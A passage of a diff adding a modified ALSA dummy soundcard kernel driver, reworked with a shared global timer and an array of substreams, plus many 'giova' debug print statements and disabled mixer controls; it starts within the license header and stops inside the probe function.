+ *   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA
+ *
+ */
+
+#include <sound/driver.h> //giova
+#include <linux/init.h>
+#include <linux/err.h>
+#include <linux/platform_device.h>
+#include <linux/jiffies.h>
+#include <linux/slab.h>
+#include <linux/time.h>
+#include <linux/wait.h>
+#include <linux/moduleparam.h>
+#include <sound/core.h>
+#include <sound/control.h>
+#include <sound/tlv.h>
+#include <sound/pcm.h>
+#include <sound/rawmidi.h>
+#include <sound/initval.h>
+
+
+MODULE_AUTHOR("Jaroslav Kysela <perex@perex.cz>");
+MODULE_DESCRIPTION("Dummy soundcard (/dev/null)");
+MODULE_LICENSE("GPL");
+MODULE_SUPPORTED_DEVICE("{{ALSA,Dummy soundcard}}");
+
+#define MAX_PCM_DEVICES		4
+#define MAX_PCM_SUBSTREAMS	128
+#define MAX_MIDI_DEVICES	2
+
+#if 0 /* emu10k1 emulation */
+#define MAX_BUFFER_SIZE		(128 * 1024)
+static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
+{
+	int err;
+	err = snd_pcm_hw_constraint_integer(runtime, SNDRV_PCM_HW_PARAM_PERIODS);
+	if (err < 0)
+		return err;
+	err = snd_pcm_hw_constraint_minmax(runtime, SNDRV_PCM_HW_PARAM_BUFFER_BYTES, 256, UINT_MAX);
+	if (err < 0)
+		return err;
+	return 0;
+}
+#define add_playback_constraints emu10k1_playback_constraints
+#endif
+
+#if 0 /* RME9652 emulation */
+#define MAX_BUFFER_SIZE		(26 * 64 * 1024)
+#define USE_FORMATS		SNDRV_PCM_FMTBIT_S32_LE
+#define USE_CHANNELS_MIN	26
+#define USE_CHANNELS_MAX	26
+#define USE_PERIODS_MIN		2
+#define USE_PERIODS_MAX		2
+#endif
+
+#if 0 /* ICE1712 emulation */
+#define MAX_BUFFER_SIZE		(256 * 1024)
+#define USE_FORMATS		SNDRV_PCM_FMTBIT_S32_LE
+#define USE_CHANNELS_MIN	10
+#define USE_CHANNELS_MAX	10
+#define USE_PERIODS_MIN		1
+#define USE_PERIODS_MAX		1024
+#endif
+
+#if 0 /* UDA1341 emulation */
+#define MAX_BUFFER_SIZE		(16380)
+#define USE_FORMATS		SNDRV_PCM_FMTBIT_S16_LE
+#define USE_CHANNELS_MIN	2
+#define USE_CHANNELS_MAX	2
+#define USE_PERIODS_MIN		2
+#define USE_PERIODS_MAX		255
+#endif
+
+#if 0 /* simple AC97 bridge (intel8x0) with 48kHz AC97 only codec */
+#define USE_FORMATS		SNDRV_PCM_FMTBIT_S16_LE
+#define USE_CHANNELS_MIN	2
+#define USE_CHANNELS_MAX	2
+#define USE_RATE		SNDRV_PCM_RATE_48000
+#define USE_RATE_MIN		48000
+#define USE_RATE_MAX		48000
+#endif
+
+#if 0 /* CA0106 */
+#define USE_FORMATS		SNDRV_PCM_FMTBIT_S16_LE
+#define USE_CHANNELS_MIN	2
+#define USE_CHANNELS_MAX	2
+#define USE_RATE		(SNDRV_PCM_RATE_48000|SNDRV_PCM_RATE_96000|SNDRV_PCM_RATE_192000) 
+#define USE_RATE_MIN		48000 
+#define USE_RATE_MAX		192000
+#define MAX_BUFFER_SIZE		((65536-64)*8)
+#define MAX_PERIOD_SIZE		(65536-64)
+#define USE_PERIODS_MIN		2
+#define USE_PERIODS_MAX		8
+#endif
+
+
+/* defaults */
+#ifndef MAX_BUFFER_SIZE
+#define MAX_BUFFER_SIZE		(64*1024)
+#endif
+#ifndef MAX_PERIOD_SIZE
+#define MAX_PERIOD_SIZE		MAX_BUFFER_SIZE
+#endif
+#ifndef USE_FORMATS
+#define USE_FORMATS 		(SNDRV_PCM_FMTBIT_U8 | SNDRV_PCM_FMTBIT_S16_LE)
+#endif
+#ifndef USE_RATE
+#define USE_RATE		SNDRV_PCM_RATE_CONTINUOUS | SNDRV_PCM_RATE_8000_48000
+#define USE_RATE_MIN		5500
+#define USE_RATE_MAX		48000
+#endif
+#ifndef USE_CHANNELS_MIN
+#define USE_CHANNELS_MIN 	1
+#endif
+#ifndef USE_CHANNELS_MAX
+#define USE_CHANNELS_MAX 	2
+#endif
+#ifndef USE_PERIODS_MIN
+#define USE_PERIODS_MIN 	1
+#endif
+#ifndef USE_PERIODS_MAX
+#define USE_PERIODS_MAX 	1024
+#endif
+#ifndef add_playback_constraints
+#define add_playback_constraints(x) 0
+#endif
+#ifndef add_capture_constraints
+#define add_capture_constraints(x) 0
+#endif
+
+static int index[SNDRV_CARDS] = SNDRV_DEFAULT_IDX;	/* Index 0-MAX */
+static char *id[SNDRV_CARDS] = SNDRV_DEFAULT_STR;	/* ID for this card */
+static int enable[SNDRV_CARDS] = {1, [1 ... (SNDRV_CARDS - 1)] = 0};
+static int pcm_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 1};
+static int pcm_substreams[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 128};
+//static int midi_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 2};
+
+module_param_array(index, int, NULL, 0444);
+MODULE_PARM_DESC(index, "Index value for dummy soundcard.");
+module_param_array(id, charp, NULL, 0444);
+MODULE_PARM_DESC(id, "ID string for dummy soundcard.");
+module_param_array(enable, bool, NULL, 0444);
+MODULE_PARM_DESC(enable, "Enable this dummy soundcard.");
+module_param_array(pcm_devs, int, NULL, 0444);
+MODULE_PARM_DESC(pcm_devs, "PCM devices # (0-4) for dummy driver.");
+module_param_array(pcm_substreams, int, NULL, 0444);
+MODULE_PARM_DESC(pcm_substreams, "PCM substreams # (1-64) for dummy driver.");
+//module_param_array(midi_devs, int, NULL, 0444);
+//MODULE_PARM_DESC(midi_devs, "MIDI devices # (0-2) for dummy driver.");
+
+static struct platform_device *devices[SNDRV_CARDS];
+static struct timer_list giovatimer; //giova
+static int giovastarted=0;
+static int giovaindex=0;
+static spinlock_t giovalock;
+struct giovadpcm {
+	struct snd_pcm_substream *substream;
+	struct snd_dummy_pcm *dpcm;
+	int	started;
+};
+static struct giovadpcm giovadpcms[MAX_PCM_SUBSTREAMS];
+
+#define MIXER_ADDR_MASTER	0
+#define MIXER_ADDR_LINE		1
+#define MIXER_ADDR_MIC		2
+#define MIXER_ADDR_SYNTH	3
+#define MIXER_ADDR_CD		4
+#define MIXER_ADDR_LAST		4
+
+static void snd_card_dummy_pcm_timer_function(unsigned long data);
+struct snd_dummy {
+	struct snd_card *card;
+	struct snd_pcm *pcm;
+	spinlock_t mixer_lock;
+	int mixer_volume[MIXER_ADDR_LAST+1][2];
+	int capture_source[MIXER_ADDR_LAST+1][2];
+};
+
+struct snd_dummy_pcm {
+	struct snd_dummy *dummy;
+	spinlock_t lock;
+	struct timer_list timer;
+	unsigned int pcm_buffer_size;
+	unsigned int pcm_period_size;
+	unsigned int pcm_bps;		/* bytes per second */
+	unsigned int pcm_hz;		/* HZ */
+	unsigned int pcm_irq_pos;	/* IRQ position */
+	unsigned int pcm_buf_pos;	/* position in buffer */
+	struct snd_pcm_substream *substream;
+};
+
+
+static inline void snd_card_dummy_pcm_timer_start(struct snd_dummy_pcm *dpcm)
+{
+int i;
+int found=0;
+
+
+//printk("giova: 1 timer_start %d %p\n", __LINE__, dpcm);
+for(i=0; i<giovaindex+1; i++){
+	if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
+		printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+	}
+
+if(giovadpcms[i].dpcm == dpcm){
+	giovadpcms[i].started=1;
+	found=1;
+}
+}
+if(!found){
+	printk("skypiax: start, NOT found?\n");
+}
+
+
+
+//printk("giova: 2 timer_start %d %p\n", __LINE__, dpcm);
+}
+
+static inline void snd_card_dummy_pcm_timer_stop(struct snd_dummy_pcm *dpcm)
+{
+	//del_timer(&dpcm->timer);
+int i;
+int found=0;
+
+//printk("giova: 1 timer_stop %d %p\n", __LINE__, dpcm);
+for(i=0; i<giovaindex +1; i++){
+
+	if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
+		printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+	}
+if(giovadpcms[i].dpcm == dpcm){
+	giovadpcms[i].started=0;
+	found=1;
+}
+}
+if(!found){
+	//printk("skypiax: stop, NOT found?\n");
+	} else { 
+		//printk("skypiax: stop, YES found!\n"); 
+	}
+
+
+
+//printk("giova: 2 timer_stop %d %p\n", __LINE__, dpcm);
+}
+
+static int snd_card_dummy_pcm_trigger(struct snd_pcm_substream *substream, int cmd)
+{
+	struct snd_pcm_runtime *runtime = substream->runtime;
+	struct snd_dummy_pcm *dpcm = runtime->private_data;
+	int err = 0;
+
+	//spin_lock(&dpcm->lock, flags);
+	spin_lock_bh(&giovalock);
+	switch (cmd) {
+	case SNDRV_PCM_TRIGGER_START:
+	case SNDRV_PCM_TRIGGER_RESUME:
+//printk("giova: trigger timer_start %d %p\n", __LINE__, dpcm);
+		snd_card_dummy_pcm_timer_start(dpcm);
+		break;
+	case SNDRV_PCM_TRIGGER_STOP:
+	case SNDRV_PCM_TRIGGER_SUSPEND:
+//printk("giova: trigger timer_stop %d %p\n", __LINE__, dpcm);
+		snd_card_dummy_pcm_timer_stop(dpcm);
+		break;
+	default:
+		err = -EINVAL;
+		break;
+	}
+	//spin_unlock(&dpcm->lock, flags);
+	spin_unlock_bh(&giovalock);
+	return 0;
+}
+
+static int snd_card_dummy_pcm_prepare(struct snd_pcm_substream *substream)
+{
+	struct snd_pcm_runtime *runtime = substream->runtime;
+	struct snd_dummy_pcm *dpcm = runtime->private_data;
+	int bps;
+
+	bps = snd_pcm_format_width(runtime->format) * runtime->rate *
+		runtime->channels / 8;
+
+	if (bps <= 0)
+		return -EINVAL;
+
+	dpcm->pcm_bps = bps;
+	dpcm->pcm_hz = HZ;
+	dpcm->pcm_buffer_size = snd_pcm_lib_buffer_bytes(substream);
+	dpcm->pcm_period_size = snd_pcm_lib_period_bytes(substream);
+	dpcm->pcm_irq_pos = 0;
+	dpcm->pcm_buf_pos = 0;
+	snd_pcm_format_set_silence(runtime->format, runtime->dma_area,
+			bytes_to_samples(runtime, runtime->dma_bytes));
+
+//printk("giova: prepare %d %p\n", __LINE__, dpcm);
+	return 0;
+}
+
+static void snd_card_dummy_pcm_timer_function(unsigned long data)
+{
+	//struct snd_dummy_pcm *dpcm = (struct snd_dummy_pcm *)data;
+	struct snd_dummy_pcm *dpcm=NULL;
+	//unsigned long flags;
+int i;
+	
+
+	giovatimer.expires = (HZ/100) + jiffies;
+	add_timer(&giovatimer);
+
+for(i=0; i< giovaindex +1; i++) {
+
+	if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
+		printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+	}
+//printk("giova: timer_func %d i=%d\n", __LINE__, i);
+
+if(giovadpcms[i].started != 1)
+	continue; 
+dpcm = giovadpcms[i].dpcm;
+if(dpcm==NULL){
+	printk("giova: timer_func %d %d NULL: continue\n", __LINE__, i);
+	continue;
+	}
+	if(in_irq())
+		printk("giova: timer_func %d %d we are in HARDWARE IRQ\n", __LINE__, i);
+	//if(in_softirq())
+		//printk("giova: timer_func %d %d we are in SOFT IRQ\n", __LINE__, i);
+//printk("giova: timer_func %d %d\n", __LINE__, i);
+	//spin_lock_irqsave(&dpcm->lock, flags);
+	spin_lock_bh(&dpcm->lock);
+	dpcm->pcm_irq_pos += dpcm->pcm_bps * (HZ/100);
+	dpcm->pcm_buf_pos += dpcm->pcm_bps * (HZ/100);
+	dpcm->pcm_buf_pos %= dpcm->pcm_buffer_size * dpcm->pcm_hz;
+	if (dpcm->pcm_irq_pos >= dpcm->pcm_period_size * dpcm->pcm_hz) {
+		dpcm->pcm_irq_pos %= dpcm->pcm_period_size * dpcm->pcm_hz;
+		//spin_unlock_irqrestore(&dpcm->lock, flags);
+		spin_unlock_bh(&dpcm->lock);
+		snd_pcm_period_elapsed(dpcm->substream);
+	} else {
+		//spin_unlock_irqrestore(&dpcm->lock, flags);
+		spin_unlock_bh(&dpcm->lock);
+	}
+}
+}
+
+static snd_pcm_uframes_t snd_card_dummy_pcm_pointer(struct snd_pcm_substream *substream)
+{
+	struct snd_pcm_runtime *runtime = substream->runtime;
+	struct snd_dummy_pcm *dpcm = runtime->private_data;
+
+//printk("giova: pointer %d %p\n", __LINE__, dpcm);
+	//return bytes_to_frames(runtime, dpcm->pcm_buf_pos / dpcm->pcm_hz);
+	return (dpcm->pcm_buf_pos / dpcm->pcm_hz)/2;
+}
+
+static struct snd_pcm_hardware snd_card_dummy_playback =
+{
+	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
+				 SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
+	.formats =		USE_FORMATS,
+	.rates =		USE_RATE,
+	.rate_min =		USE_RATE_MIN,
+	.rate_max =		USE_RATE_MAX,
+	.channels_min =		USE_CHANNELS_MIN,
+	.channels_max =		USE_CHANNELS_MAX,
+	.buffer_bytes_max =	MAX_BUFFER_SIZE,
+	.period_bytes_min =	64,
+	.period_bytes_max =	MAX_PERIOD_SIZE,
+	.periods_min =		USE_PERIODS_MIN,
+	.periods_max =		USE_PERIODS_MAX,
+	.fifo_size =		0,
+};
+
+static struct snd_pcm_hardware snd_card_dummy_capture =
+{
+	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
+				 SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
+	.formats =		USE_FORMATS,
+	.rates =		USE_RATE,
+	.rate_min =		USE_RATE_MIN,
+	.rate_max =		USE_RATE_MAX,
+	.channels_min =		USE_CHANNELS_MIN,
+	.channels_max =		USE_CHANNELS_MAX,
+	.buffer_bytes_max =	MAX_BUFFER_SIZE,
+	.period_bytes_min =	64,
+	.period_bytes_max =	MAX_PERIOD_SIZE,
+	.periods_min =		USE_PERIODS_MIN,
+	.periods_max =		USE_PERIODS_MAX,
+	.fifo_size =		0,
+};
+
+static void snd_card_dummy_runtime_free(struct snd_pcm_runtime *runtime)
+{
+int i;
+//int found=0;
+
+//printk("snd_card_dummy_runtime_free giova 1 giovaindex=%d dpcm=%p runtime=%p\n", giovaindex, runtime->private_data, runtime);
+	spin_lock_bh(&giovalock);
+
+for(i=0; i < giovaindex; i++) {
+
+	if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
+		printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
+	}
+	//if((giovadpcms[i].substream == substream)  && (giovadpcms[i].dpcm == dpcm)){
+	if((giovadpcms[i].dpcm == runtime->private_data)){
+		//printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
+		//giovadpcms[i].dpcm = NULL;
+		//giovadpcms[i].substream = NULL;
+		giovadpcms[i].started = 0;
+		//break;
+	} else {
+		//printk("giova, %s:%d, i=%d, giovaindex=%d %p!=%p NOT ME\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
+	}
+}
+
+	spin_unlock_bh(&giovalock);
+	kfree(runtime->private_data);
+}
+
+static int snd_card_dummy_hw_params(struct snd_pcm_substream *substream,
+				    struct snd_pcm_hw_params *hw_params)
+{
+	return snd_pcm_lib_malloc_pages(substream, params_buffer_bytes(hw_params));
+}
+
+static int snd_card_dummy_hw_free(struct snd_pcm_substream *substream)
+{
+	return snd_pcm_lib_free_pages(substream);
+}
+
+static struct snd_dummy_pcm *new_pcm_stream(struct snd_pcm_substream *substream)
+{
+	struct snd_dummy_pcm *dpcm;
+	int i;
+	int found=0;
+
+	//printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
+	//printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
+	dpcm = kzalloc(sizeof(*dpcm), GFP_KERNEL);
+	//printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
+	if (! dpcm){
+		//spin_unlock_bh(&giovalock);
+		printk("giova, %s:%d, giovaindex=%d NO MEMORY!!!!\n", __FILE__, __LINE__, giovaindex);
+		return dpcm;
+	}
+	//printk("giova, %s:%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, giovaindex, dpcm);
+	init_timer(&dpcm->timer);
+	//dpcm->timer.data = (unsigned long) dpcm;
+	//dpcm->timer.function = snd_card_dummy_pcm_timer_function;
+	spin_lock_init(&dpcm->lock);
+	dpcm->substream = substream;
+
+	spin_lock_bh(&giovalock);
+	//printk("giova 1 giovaindex=%d dpcm=%p substream=%p sizeof=%lu\n", giovaindex, dpcm, substream, sizeof(*dpcm));
+	for(i=0; i < giovaindex; i++) {
+
+	if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
+		printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+	}
+		//if((giovadpcms[i].substream == substream)  && (giovadpcms[i].dpcm == dpcm))
+		if((giovadpcms[i].substream == substream)){
+			found=1;
+			break;
+		}
+
+	}
+
+	if(!found){
+
+		giovadpcms[giovaindex].substream=substream;
+		giovaindex++;
+		//printk("giova 2 giovaindex=%d dpcm=%p substream=%p\n", giovaindex, dpcm, substream);
+	}
+
+
+
+	found =0;
+	for(i=0; i < giovaindex; i++) {
+
+	if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
+		printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+	}
+		if(giovadpcms[i].substream == substream){
+			giovadpcms[i].dpcm=dpcm;
+			giovadpcms[i].started=0;
+			found = 1;
+			//printk("giova 3 giovaindex=%d dpcm=%p substream=%p\n", giovaindex, dpcm, substream);
+			break;
+		} 
+
+	}
+
+	spin_unlock_bh(&giovalock);
+	if(!found) {
+		printk("skypiax giovaindex=%d NOT found????\n", giovaindex);
+	}
+
+	//printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
+	return dpcm;
+}
+
+static int snd_card_dummy_playback_open(struct snd_pcm_substream *substream)
+{
+	struct snd_pcm_runtime *runtime = substream->runtime;
+	struct snd_dummy_pcm *dpcm;
+	int err;
+
+	if ((dpcm = new_pcm_stream(substream)) == NULL)
+		return -ENOMEM;
+	//printk("giova, %s:%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, giovaindex, dpcm);
+	runtime->private_data = dpcm;
+	/* makes the infrastructure responsible for freeing dpcm */
+	runtime->private_free = snd_card_dummy_runtime_free;
+	runtime->hw = snd_card_dummy_playback;
+	if (substream->pcm->device & 1) {
+		runtime->hw.info &= ~SNDRV_PCM_INFO_INTERLEAVED;
+		runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
+	}
+	if (substream->pcm->device & 2)
+		runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP|SNDRV_PCM_INFO_MMAP_VALID);
+	err = add_playback_constraints(runtime);
+	if (err < 0)
+		return err;
+
+	return 0;
+}
+
+static int snd_card_dummy_capture_open(struct snd_pcm_substream *substream)
+{
+	struct snd_pcm_runtime *runtime = substream->runtime;
+	struct snd_dummy_pcm *dpcm;
+	int err;
+
+	if ((dpcm = new_pcm_stream(substream)) == NULL)
+		return -ENOMEM;
+	//printk("giova, %s:%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, giovaindex, dpcm);
+	runtime->private_data = dpcm;
+	/* makes the infrastructure responsible for freeing dpcm */
+	runtime->private_free = snd_card_dummy_runtime_free;
+	runtime->hw = snd_card_dummy_capture;
+	if (substream->pcm->device == 1) {
+		runtime->hw.info &= ~SNDRV_PCM_INFO_INTERLEAVED;
+		runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
+	}
+	if (substream->pcm->device & 2)
+		runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP|SNDRV_PCM_INFO_MMAP_VALID);
+	err = add_capture_constraints(runtime);
+	if (err < 0)
+		return err;
+
+	return 0;
+}
+
+static int snd_card_dummy_playback_close(struct snd_pcm_substream *substream)
+{
+//printk("play giova 1 giovaindex=%d dpcm=%p substream=%p\n", giovaindex, substream->private_data, substream);
+	snd_card_dummy_pcm_timer_stop(substream->private_data);
+	return 0;
+}
+
+static int snd_card_dummy_capture_close(struct snd_pcm_substream *substream)
+{
+//printk("capt giova 2 giovaindex=%d dpcm=%p substream=%p\n", giovaindex, substream->private_data, substream);
+	snd_card_dummy_pcm_timer_stop(substream->private_data);
+	return 0;
+}
+
+static struct snd_pcm_ops snd_card_dummy_playback_ops = {
+	.open =			snd_card_dummy_playback_open,
+	.close =		snd_card_dummy_playback_close,
+	.ioctl =		snd_pcm_lib_ioctl,
+	.hw_params =		snd_card_dummy_hw_params,
+	.hw_free =		snd_card_dummy_hw_free,
+	.prepare =		snd_card_dummy_pcm_prepare,
+	.trigger =		snd_card_dummy_pcm_trigger,
+	.pointer =		snd_card_dummy_pcm_pointer,
+};
+
+static struct snd_pcm_ops snd_card_dummy_capture_ops = {
+	.open =			snd_card_dummy_capture_open,
+	.close =		snd_card_dummy_capture_close,
+	.ioctl =		snd_pcm_lib_ioctl,
+	.hw_params =		snd_card_dummy_hw_params,
+	.hw_free =		snd_card_dummy_hw_free,
+	.prepare =		snd_card_dummy_pcm_prepare,
+	.trigger =		snd_card_dummy_pcm_trigger,
+	.pointer =		snd_card_dummy_pcm_pointer,
+};
+
+static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device,
+					int substreams)
+{
+	struct snd_pcm *pcm;
+	int err;
+
+	err = snd_pcm_new(dummy->card, "Dummy PCM", device,
+			       substreams, substreams, &pcm);
+	if (err < 0)
+		return err;
+	dummy->pcm = pcm;
+	snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_PLAYBACK, &snd_card_dummy_playback_ops);
+	snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_CAPTURE, &snd_card_dummy_capture_ops);
+	pcm->private_data = dummy;
+	pcm->info_flags = 0;
+	strcpy(pcm->name, "Dummy PCM");
+	snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS,
+					      snd_dma_continuous_data(GFP_KERNEL),
+					      128*1024, 1024*1024);
+
+	return 0;
+}
+
+#define DUMMY_VOLUME(xname, xindex, addr) \
+{ .iface = SNDRV_CTL_ELEM_IFACE_MIXER, \
+  .access = SNDRV_CTL_ELEM_ACCESS_READWRITE | SNDRV_CTL_ELEM_ACCESS_TLV_READ, \
+  .name = xname, .index = xindex, \
+  .info = snd_dummy_volume_info, \
+  .get = snd_dummy_volume_get, .put = snd_dummy_volume_put, \
+  .private_value = addr, \
+  .tlv = { .p = db_scale_dummy } }
+
+static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol,
+				 struct snd_ctl_elem_info *uinfo)
+{
+	uinfo->type = SNDRV_CTL_ELEM_TYPE_INTEGER;
+	uinfo->count = 2;
+	uinfo->value.integer.min = -50;
+	uinfo->value.integer.max = 100;
+	return 0;
+}
+ 
+static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol,
+				struct snd_ctl_elem_value *ucontrol)
+{
+	struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
+	int addr = kcontrol->private_value;
+	//unsigned long flags;
+
+	if(in_irq())
+		printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
+//printk("giova: volume get %d %d\n", __LINE__, addr);
+	//spin_lock_irq(&dummy->mixer_lock);
+	//spin_lock_irqsave(&dummy->mixer_lock, flags);
+	spin_lock_bh(&dummy->mixer_lock);
+	ucontrol->value.integer.value[0] = dummy->mixer_volume[addr][0];
+	ucontrol->value.integer.value[1] = dummy->mixer_volume[addr][1];
+	//spin_unlock_irqrestore(&dummy->mixer_lock, flags);
+	spin_unlock_bh(&dummy->mixer_lock);
+	return 0;
+}
+
+static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol,
+				struct snd_ctl_elem_value *ucontrol)
+{
+	struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
+	int change, addr = kcontrol->private_value;
+	int left, right;
+	//unsigned long flags;
+
+	if(in_irq())
+		printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
+	left = ucontrol->value.integer.value[0];
+	if (left < -50)
+		left = -50;
+	if (left > 100)
+		left = 100;
+	right = ucontrol->value.integer.value[1];
+	if (right < -50)
+		right = -50;
+	if (right > 100)
+		right = 100;
+//printk("giova: volume put %d %d\n", __LINE__, addr);
+	//spin_lock_irq(&dummy->mixer_lock);
+	//spin_lock_irqsave(&dummy->mixer_lock, flags);
+	spin_lock_bh(&dummy->mixer_lock);
+	change = dummy->mixer_volume[addr][0] != left ||
+	         dummy->mixer_volume[addr][1] != right;
+	dummy->mixer_volume[addr][0] = left;
+	dummy->mixer_volume[addr][1] = right;
+	//spin_unlock_irq(&dummy->mixer_lock);
+	//spin_unlock_irqrestore(&dummy->mixer_lock, flags);
+	spin_unlock_bh(&dummy->mixer_lock);
+	return change;
+}
+
+static const DECLARE_TLV_DB_SCALE(db_scale_dummy, -4500, 30, 0);
+
+#define DUMMY_CAPSRC(xname, xindex, addr) \
+{ .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = xname, .index = xindex, \
+  .info = snd_dummy_capsrc_info, \
+  .get = snd_dummy_capsrc_get, .put = snd_dummy_capsrc_put, \
+  .private_value = addr }
+
+#define snd_dummy_capsrc_info	snd_ctl_boolean_stereo_info
+ 
+static int snd_dummy_capsrc_get(struct snd_kcontrol *kcontrol,
+				struct snd_ctl_elem_value *ucontrol)
+{
+	struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
+	int addr = kcontrol->private_value;
+	//unsigned long flags;
+
+	if(in_irq())
+		printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
+	//spin_lock_irq(&dummy->mixer_lock);
+	//spin_lock_irqsave(&dummy->mixer_lock, flags);
+	spin_lock_bh(&dummy->mixer_lock);
+	ucontrol->value.integer.value[0] = dummy->capture_source[addr][0];
+	ucontrol->value.integer.value[1] = dummy->capture_source[addr][1];
+	//spin_unlock_irq(&dummy->mixer_lock);
+	//spin_unlock_irqrestore(&dummy->mixer_lock, flags);
+	spin_unlock_bh(&dummy->mixer_lock);
+//printk("giova: capsrc_get %d %d\n", __LINE__, addr);
+	return 0;
+}
+
+static int snd_dummy_capsrc_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
+{
+	struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
+	int change, addr = kcontrol->private_value;
+	int left, right;
+	//unsigned long flags;
+
+	if(in_irq())
+		printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
+	left = ucontrol->value.integer.value[0] & 1;
+	right = ucontrol->value.integer.value[1] & 1;
+	//spin_lock_irq(&dummy->mixer_lock);
+	//spin_lock_irqsave(&dummy->mixer_lock, flags);
+	spin_lock_bh(&dummy->mixer_lock);
+	change = dummy->capture_source[addr][0] != left &&
+	         dummy->capture_source[addr][1] != right;
+	dummy->capture_source[addr][0] = left;
+	dummy->capture_source[addr][1] = right;
+	//spin_unlock_irq(&dummy->mixer_lock);
+	//spin_unlock_irqrestore(&dummy->mixer_lock, flags);
+	spin_unlock_bh(&dummy->mixer_lock);
+//printk("giova: capsrc_put %d %d\n", __LINE__, addr);
+	return change;
+}
+
+static struct snd_kcontrol_new snd_dummy_controls[] = {
+DUMMY_VOLUME("Master Volume", 0, MIXER_ADDR_MASTER),
+DUMMY_CAPSRC("Master Capture Switch", 0, MIXER_ADDR_MASTER),
+DUMMY_VOLUME("Synth Volume", 0, MIXER_ADDR_SYNTH),
+DUMMY_CAPSRC("Synth Capture Switch", 0, MIXER_ADDR_SYNTH),
+DUMMY_VOLUME("Line Volume", 0, MIXER_ADDR_LINE),
+DUMMY_CAPSRC("Line Capture Switch", 0, MIXER_ADDR_LINE),
+DUMMY_VOLUME("Mic Volume", 0, MIXER_ADDR_MIC),
+DUMMY_CAPSRC("Mic Capture Switch", 0, MIXER_ADDR_MIC),
+DUMMY_VOLUME("CD Volume", 0, MIXER_ADDR_CD),
+DUMMY_CAPSRC("CD Capture Switch", 0, MIXER_ADDR_CD)
+};
+
+static int __devinit snd_card_dummy_new_mixer(struct snd_dummy *dummy)
+{
+	struct snd_card *card = dummy->card;
+	unsigned int idx;
+	int err;
+
+	//giova if (snd_BUG_ON(!dummy))
+		//giova return -EINVAL;
+	spin_lock_init(&dummy->mixer_lock);
+	strcpy(card->mixername, "Dummy Mixer");
+//printk("giova: new_mixer %d\n", __LINE__);
+	return 0; //giova no mixer
+
+	for (idx = 0; idx < ARRAY_SIZE(snd_dummy_controls); idx++) {
+		err = snd_ctl_add(card, snd_ctl_new1(&snd_dummy_controls[idx], dummy));
+		if (err < 0)
+			return err;
+	}
+	return 0;
+}
+
+static int __devinit snd_dummy_probe(struct platform_device *devptr)
+{
+	struct snd_card *card;
+	struct snd_dummy *dummy;
+	int idx, err;
+	int dev = devptr->id;
+
+        card = snd_card_new(index[dev], id[dev], THIS_MODULE,
+                            sizeof(struct snd_dummy));
+        if (card == NULL)
+                return -ENOMEM;
+
